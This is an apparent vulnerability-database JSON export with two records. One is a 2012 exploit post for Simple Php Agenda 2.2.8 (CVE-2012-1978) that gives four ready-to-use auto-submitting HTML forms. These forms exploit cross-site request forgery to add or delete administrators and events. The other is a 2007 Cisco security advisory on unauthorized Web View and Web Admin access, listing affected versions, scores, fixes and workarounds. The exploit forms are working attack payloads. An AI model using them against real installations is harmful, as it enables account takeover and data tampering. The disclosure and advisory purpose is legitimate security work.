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{"zdt": [{"lastseen": "2018-01-01T05:04:34", "bulletinFamily": "exploit", "description": "Exploit for php platform in category web applications", "modified": "2012-03-30T00:00:00", "published": "2012-03-30T00:00:00", "id": "1337DAY-ID-17893", "href": "https://0day.today/exploit/description/17893", "type": "zdt", "title": "Simple Php Agenda <= 2.2.8 CSRF (Add Admin/Add New Event)", "sourceData": "+--------------------------------------------------------------------------------------------------------------------------------+\r\n# Exploit Title : Simple Php Agenda <= 2.2.8 CSRF (Add Admin/Add New Event)\r\n# Date : 29-03-2012\r\n# Author : Ivano Binetti (http://ivanobinetti.com)\r\n# Software link : http://sourceforge.net/projects/php-agenda/files/latest/download\r\n# Version : 2.2.8 and lower \r\n# Tested on : Debian Squeeze (6.0) \r\n# CVE : CVE-2012-1978\r\n# Original Advisory: http://www.webapp-security.com/2012/03/simple-php-agenda/\r\n+--------------------------------------------------------------------------------------------------------------------------------+\r\nSummary\r\n1)Introduction\r\n2)Vulnerabilities Description\r\n3)Exploit\r\n 3.1 Add Administrator \r\n 3.2 Delete Existing Administrator\r\n 3.3 Add a New Event\r\n 3.4 Delete an Existing Event\r\n+--------------------------------------------------------------------------------------------------------------------------------+\r\n1)Introduction\r\nSimple Php Agenda is \"a simple agenda tool written in PHP with MySQL backend. An agenda tool accessible everywere there's \r\ninternet\".\r\n\r\n2)Vulnerabilities Description\r\nSimple Php Agenda 2.2.8 (and lower) is affected by a CSRF Vulnerability which allows an attacker to add a new administrator,\r\ndelete an existing administrator, create/delete a new event and change any other parameters. In this document I will only \r\ndemonstrate how to: \r\n- add a new administrator\r\n- delete a existing administrator\r\n- add a new event\r\n- delete an existing event.\r\nOther parameters can be also modified.\r\n\r\n3)Exploit \r\n 3.1 Add Administrator\r\n <html>\r\n <body onload=\"javascript:document.forms[0].submit()\">\r\n <form method=\"POST\" name=\"form0\" action=\"http://<Simple_Php_Agenda_ip>:80/auth/process.php\">\r\n <input type=\"hidden\" name=\"user\" value=\"newadmin\"/>\r\n <input type=\"hidden\" name=\"pass\" value=\"password\"/>\r\n <input type=\"hidden\" name=\"email\" value=\"[email\u00a0protected]\"/>\r\n <input type=\"hidden\" name=\"subjoin\" value=\"1\"/>\r\n </form>\r\n </body>\r\n </html>\r\n\r\n \r\n 3.2 Delete Existing Administrator\r\n <html>\r\n <body onload=\"javascript:document.forms[0].submit()\">\r\n <form method=\"POST\" name=\"form0\" action=\"http://<Simple_Php_Agenda_ip>:80/auth/admin/adminprocess.php\">\r\n <input type=\"hidden\" name=\"deluser\" value=\"pippo2\"/>\r\n <input type=\"hidden\" name=\"subdeluser\" value=\"1\"/>\r\n </form>\r\n </body>\r\n </html>\r\n\r\n 3.3 Add a New Event\r\n <html>\r\n <body onload=\"javascript:document.forms[0].submit()\">\r\n <form method=\"POST\" name=\"form0\" action=\"http://<Simple_Php_Agenda_ip>:80/engine/new_event.php\">\r\n <input type=\"hidden\" name=\"date\" value=\"2012-03-30\"/>\r\n <input type=\"hidden\" name=\"time\" value=\"16%3A30\"/>\r\n <input type=\"hidden\" name=\"title\" value=\"new_event_title\"/>\r\n <input type=\"hidden\" name=\"description\" value=\"event_description\"/>\r\n <input type=\"hidden\" name=\"newEvent\" value=\"Aggiungi+evento\"/>\r\n </form>\r\n </body>\r\n </html>\r\n\r\n 3.4 Delete an Existing Event\r\n <html>\r\n <body onload=\"javascript:document.forms[0].submit()\">\r\n <form method=\"POST\" name=\"form0\" action=\"http://<Simple_Php_Agenda_ip>:80/phpagenda/?deleteEvent=2\">\r\n </form>\r\n </body>\r\n </html>\r\n+--------------------------------------------------------------------------------------------------------------------------------+\r\n\r\n\n\n# 0day.today [2018-01-01] #", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://0day.today/exploit/17893"}], "securityvulns": [{"lastseen": "2018-08-31T11:10:23", "bulletinFamily": "software", "description": "-----BEGIN PGP SIGNED MESSAGE-----\r\nHash: SHA1\r\n\r\nCisco Security Advisory: Cisco Unified Communications Web-based\r\nManagement Vulnerability\r\n\r\nDocument ID: 97836\r\n\r\nAdvisory ID: cisco-sa-20071017-IPCC\r\n\r\nhttp://www.cisco.com/warp/public/707/cisco-sa-20071017-IPCC.shtml\r\n\r\nRevision 1.0\r\n\r\nFor Public Release 2007 October 17 1600 UTC &#40;GMT&#41;\r\n\r\n- ---------------------------------------------------------------------\r\n\r\nSummary\r\n=======\r\n\r\nUnified Contact Center and Intelligent Contact Management products\r\ncontain a vulnerability that may result in unauthorized access to the\r\nweb-based reporting and script monitoring tool &#40;Web View&#41; and the\r\nweb-based configuration tool &#40;Web Admin&#41;.\r\n\r\nThis advisory is posted at \r\nhttp://www.cisco.com/warp/public/707/cisco-sa-20071017-IPCC.shtml.\r\n\r\nAffected Products\r\n=================\r\n\r\nVulnerable Products\r\n+------------------\r\n\r\nThe following products are affected by a vulnerability that may\r\nresult in unauthorized access to the web-based reporting and script\r\nmonitoring tool &#40;Web View&#41;:\r\n\r\n * Cisco Unified Intelligent Contact Management Enterprise &#40;Unified\r\n ICME&#41;\r\n * Cisco Unified ICM Hosted &#40;Unified ICMH&#41;\r\n * Cisco Unified Contact Center Enterprise &#40;UCCE&#41;\r\n * Cisco Unified Contact Center Hosted &#40;UCCH&#41;\r\n * Cisco System Unified Contact Center Enterprise &#40;SUCCE&#41;\r\n\r\nThe following product is affected by a vulnerability that may result\r\nin unauthorized access to the web-based configuration tool &#40;Web\r\nAdmin&#41;.\r\n\r\n * Cisco System Unified Contact Center Enterprise &#40;SUCCE&#41;\r\n\r\nTo determine the version of software installed on the Administration\r\nWorkstation &#40;AW&#41;, navigate to the Add or Remove Programs window on\r\nthe Windows Server. If impacted, an entry for Cisco ICM Maintenance\r\nRelease ICM 7.1&#40;5&#41; will be observable in the list of installed\r\napplications.\r\n\r\nProducts Confirmed Not Vulnerable\r\n+--------------------------------\r\n\r\nThe following products are not affected by the vulnerability\r\ndescribed in this document:\r\n\r\n * Cisco Unified Contact Center Express\r\n * Cisco IP Contact Center Express\r\n\r\nNo other Cisco products are known to be affected by this\r\nvulnerability.\r\n\r\nOnly the identified products running software version ICM 7.1&#40;5&#41; are\r\nimpacted by this vulnerability.\r\n\r\nDetails\r\n=======\r\n\r\nCisco Unified ICME, Unified ICMH, UCCE, UCCH and SUCCE are a suite of\r\nstrategic platforms that enable customers to provide intelligent\r\nrouting and call treatment with blending of multiple communication\r\nchannels.\r\n\r\nA vulnerability exists in software version 7.1&#40;5&#41; for Cisco Unified\r\nICME, Unified ICMH, UCCE, UCCH and SUCCE editions that may enable any\r\nWindows Active Directory domain defined user to obtain unauthorized\r\nprivilege levels. This would provide Windows Active Directory users\r\nthe ability to view Web View report information for any call center\r\ninstance. Cisco SUCCE is also impacted by unauthorized access to the\r\nWeb Admin tool, which could result in the ability to change the\r\napplication configuration, including editing application rights.\r\n\r\nThis vulnerability is documented in Cisco Bug ID: CSCsj55686 \r\n\r\nVulnerability Scoring Details\r\n=============================\r\n\r\nCisco is providing scores for the vulnerabilities in this advisory\r\nbased on the Common Vulnerability Scoring System &#40;CVSS&#41;. The CVSS\r\nscoring in this Security Advisory is done in accordance with CVSS\r\nversion 2.0.\r\n\r\nCisco will provide a base and temporal score. Customers can then\r\ncompute environmental scores to assist in determining the impact of\r\nthe vulnerability in individual networks.\r\n\r\nCVSS is a standards based scoring method that conveys vulnerability\r\nseverity and helps determine urgency and priority of response.\r\n\r\nCisco has provided an FAQ to answer additional questions regarding\r\nCVSS at:\r\n\r\nhttp://www.cisco.com/web/about/security/intelligence/cvss-qandas.html\r\n\r\nCisco has also provided a CVSS calculator to help compute the\r\nenvironmental impact for individual networks at:\r\n\r\nhttp://intellishield.cisco.com/security/alertmanager/cvss?target=new&amp;version=2.0&amp;vector=AV:N/AC:L/Au:S/C:C/I:C/A:C/E:F/RL:OF/RC:C\r\n\r\nCSCsj55686 - AD users have privileges to log into Web View and Web Admin tools\r\n\r\nCVSS Base Score - 9\r\n Access Vector - Network\r\n Access Complexity - Low\r\n Authentication - Single\r\n Confidentiality Impact - Complete\r\n Integrity Impact - Complete\r\n Availability Impact - Complete\r\n\r\nCVSS Temporal Score - 7.4\r\n Exploitability - Functional\r\n Remediation Level - Official-Fix\r\n Report Confidence - Confirmed\r\n\r\nImpact\r\n======\r\n\r\nSuccessful exploitation of the vulnerability described in this\r\ndocument may provide any user defined in the Windows Active Directory\r\ndomain with unauthorized access to view Web View information for any\r\nICM or Contact Center instance. In addition, the vulnerability\r\nprovides unauthorized access to the Web Admin tool for any user\r\ndefined in the Windows Active Directory domain. It should be noted\r\nthat Web Admin is only used with Cisco SUCCE. Access to Web Admin may\r\nresult in the ability to change the application configuration,\r\nincluding editing application rights.\r\n\r\nSoftware Versions and Fixes\r\n===========================\r\n\r\nWhen considering software upgrades, also consult \r\nhttp://www.cisco.com/go/psirt and any subsequent advisories to \r\ndetermine exposure and a complete upgrade solution.\r\n\r\nIn all cases, customers should exercise caution to be certain the\r\ndevices to be upgraded contain sufficient memory and that current\r\nhardware and software configurations will continue to be supported\r\nproperly by the new release. If the information is not clear, contact\r\nthe Cisco Technical Assistance Center &#40;TAC&#41; or your contracted\r\nmaintenance provider for assistance.\r\n\r\n+---------------------------------------+\r\n| Software | Patch | Maintenance |\r\n| Release | | |\r\n|----------+---------+------------------|\r\n| | ICM7.1 | 7.2&#40;3&#41; |\r\n| 7.1&#40;5&#41; | &#40;5&#41; | &#40;Available |\r\n| | _ES46 | December 2007&#41; |\r\n+---------------------------------------+\r\n\r\nContact Center and ICM maintenance software can be downloaded from\r\nthe following URL:\r\n\r\nhttp://tools.cisco.com/support/downloads/go/MDFTree.x?butype=cc \r\n\r\nWorkarounds\r\n===========\r\n\r\nAny Windows users defined in Active Directory that are not part of\r\nthe ICM/IPCC Active Directory hierarchy will have full access to the\r\nWeb View and Web Admin tools. There is no workaround. Users defined\r\nin the Windows Active Directory domain where the IPCC servers reside\r\nand then associated to the instance of the ICM/IPCC Active Directory\r\nhierarchy will have correct permissions. Filters such as Transit ACLs\r\ncan then be used to allow access to the Administration Workstation\r\nfrom only the trusted hosts.\r\n\r\nFilters that deny HTTP packets using TCP port 80 and HTTPS packets\r\nusing TCP port 443 should be deployed throughout the network as part\r\nof a tACL policy for protection of traffic that enters the network at\r\ningress access points. This policy should be configured to protect\r\nthe network device where the filter is applied and other devices\r\nbehind it. Filters for HTTP packets using TCP port 80 and HTTPS\r\npackets using TCP port 443 should also be deployed in front of\r\nvulnerable network devices so that traffic is only allowed from\r\ntrusted clients.\r\n\r\nAdditional information about tACLs is available in &quot;Transit Access\r\nControl Lists: Filtering at Your Edge: \r\nhttp://www.cisco.com/en/US/tech/tk648/tk361/technologies_white_paper09186a00801afc76.shtml.\r\n\r\nAdditional mitigations that can be deployed on Cisco devices within\r\nthe network are available in the Cisco Applied Intelligence companion\r\ndocument for this advisory: \r\nhttp://www.cisco.com/warp/public/707/cisco-air-20071017-IPCC.shtml.\r\n\r\nObtaining Fixed Software\r\n========================\r\n\r\nCisco will make free software available to address this vulnerability\r\nfor affected customers. This advisory will be updated as fixed\r\nsoftware becomes available. Prior to deploying software, customers\r\nshould consult their maintenance provider or check the software for\r\nfeature set compatibility and known issues specific to their\r\nenvironment.\r\n\r\nCustomers may only install and expect support for the feature sets\r\nthey have purchased. By installing, downloading, accessing or\r\notherwise using such software upgrades, customers agree to be bound\r\nby the terms of Cisco&#39;s software license terms found at \r\nhttp://www.cisco.com/public/sw-license-agreement.html, or as \r\notherwise set forth at Cisco.com Downloads at \r\nhttp://www.cisco.com/public/sw-center/sw-usingswc.shtml.\r\n\r\nDo not contact &quot;psirt@cisco.com&quot; or &quot;security-alert@cisco.com&quot; for\r\nsoftware upgrades.\r\n\r\nCustomers with Service Contracts\r\n+-------------------------------\r\n\r\nCustomers with contracts should obtain upgraded software through\r\ntheir regular update channels. For most customers, this means that\r\nupgrades should be obtained through the Software Center on Cisco&#39;s\r\nworldwide website at http://www.cisco.com.\r\n\r\nCustomers using Third Party Support Organizations\r\n+------------------------------------------------\r\n\r\nCustomers whose Cisco products are provided or maintained through\r\nprior or existing agreement with third-party support organizations\r\nsuch as Cisco Partners, authorized resellers, or service providers\r\nshould contact that support organization for guidance and assistance\r\nwith the appropriate course of action in regards to this advisory.\r\n\r\nThe effectiveness of any workaround or fix is dependent on specific\r\ncustomer situations such as product mix, network topology, traffic\r\nbehavior, and organizational mission. Due to the variety of affected\r\nproducts and releases, customers should consult with their service\r\nprovider or support organization to ensure any applied workaround or\r\nfix is the most appropriate for use in the intended network before it\r\nis deployed.\r\n\r\nCustomers without Service Contracts\r\n+----------------------------------\r\n\r\nCustomers who purchase direct from Cisco but do not hold a Cisco\r\nservice contract, and customers who purchase through third-party\r\nvendors but are unsuccessful at obtaining fixed software through\r\ntheir point of sale, should get their upgrades by contacting the\r\nCisco Technical Assistance Center &#40;TAC&#41;. TAC contacts are as follows:\r\n\r\n * +1 800 553 2447 &#40;toll free from within North America&#41;\r\n * +1 408 526 7209 &#40;toll call from anywhere in the world&#41;\r\n * e-mail: tac@cisco.com\r\n\r\nHave your product serial number available and give the URL of this\r\nnotice as evidence of your entitlement to a free upgrade. Free\r\nupgrades for non-contract customers must be requested through the\r\nTAC.\r\n\r\nRefer to http://www.cisco.com/warp/public/687/Directory/DirTAC.shtml\r\nfor additional TAC contact information, including special localized\r\ntelephone numbers and instructions and e-mail addresses for use in\r\nvarious languages.\r\n\r\nExploitation and Public Announcements\r\n=====================================\r\n\r\nThe Cisco PSIRT is not aware of any public announcements or malicious\r\nuse of the vulnerability described in this advisory.\r\n\r\nThis vulnerability was discovered during the resolution of customer\r\nsupport cases.\r\n\r\nStatus of this Notice: FINAL\r\n============================\r\n\r\nTHIS DOCUMENT IS PROVIDED ON AN &quot;AS IS&quot; BASIS AND DOES NOT IMPLY ANY\r\nKIND OF GUARANTEE OR WARRANTY, INCLUDING THE WARRANTIES OF\r\nMERCHANTABILITY OR FITNESS FOR A PARTICULAR USE. YOUR USE OF THE\r\nINFORMATION ON THE DOCUMENT OR MATERIALS LINKED FROM THE DOCUMENT IS\r\nAT YOUR OWN RISK. CISCO RESERVES THE RIGHT TO CHANGE OR UPDATE THIS\r\nDOCUMENT AT ANY TIME.\r\n\r\nA stand-alone copy or Paraphrase of the text of this document that\r\nomits the distribution URL in the following section is an\r\nuncontrolled copy, and may lack important information or contain\r\nfactual errors.\r\n\r\nDistribution\r\n============\r\n\r\nThis advisory is posted on Cisco&#39;s worldwide website at:\r\n\r\nhttp://www.cisco.com/warp/public/707/cisco-sa-20071017-IPCC.shtml\r\n\r\nIn addition to worldwide web posting, a text version of this notice\r\nis clear-signed with the Cisco PSIRT PGP key and is posted to the\r\nfollowing e-mail and Usenet news recipients:\r\n\r\n * cust-security-announce@cisco.com\r\n * first-teams@first.org\r\n * bugtraq@securityfocus.com\r\n * vulnwatch@vulnwatch.org\r\n * cisco@spot.colorado.edu\r\n * cisco-nsp@puck.nether.net\r\n * full-disclosure@lists.grok.org.uk\r\n * comp.dcom.sys.cisco@newsgate.cisco.com\r\n\r\nFuture updates of this advisory, if any, will be placed on Cisco&#39;s\r\nworldwide website, but may or may not be actively announced on\r\nmailing lists or newsgroups. Users concerned about this problem are\r\nencouraged to check the above URL for any updates.\r\n\r\nRevision History\r\n================\r\n\r\n+---------------------------------------+\r\n| Revision | | Initial |\r\n| 1.0 | 2007-Oct-17 | Public |\r\n| | | Release |\r\n+---------------------------------------+\r\n\r\nCisco Security Procedures\r\n=========================\r\n\r\nComplete information on reporting security vulnerabilities in Cisco\r\nproducts, obtaining assistance with security incidents, and\r\nregistering to receive security information from Cisco, is available\r\non Cisco&#39;s worldwide website at \r\nhttp://www.cisco.com/en/US/products/products_security_vulnerability_policy.html. \r\nThis includes instructions for press inquiries regarding Cisco \r\nsecurity notices. All Cisco security advisories are available at \r\nhttp://www.cisco.com/go/psirt.\r\n-----BEGIN PGP SIGNATURE-----\r\nVersion: GnuPG v1.4.7 &#40;Darwin&#41;\r\n\r\niD8DBQFHFjAW8NUAbBmDaxQRApdBAJwMJ0ON7YdRq0ZSD07CgAviHdketACfWQqy\r\n6+IJGastU48U7CZlBMwMo2M=\r\n=O951\r\n-----END PGP SIGNATURE-----", "modified": "2007-10-18T00:00:00", "published": "2007-10-18T00:00:00", "id": "SECURITYVULNS:DOC:18223", "href": "https://vulners.com/securityvulns/SECURITYVULNS:DOC:18223", "title": "Cisco Security Advisory: Cisco Unified Communications Web-based Management Vulnerability", "type": "securityvulns", "cvss": {"score": 0.0, "vector": "NONE"}}]}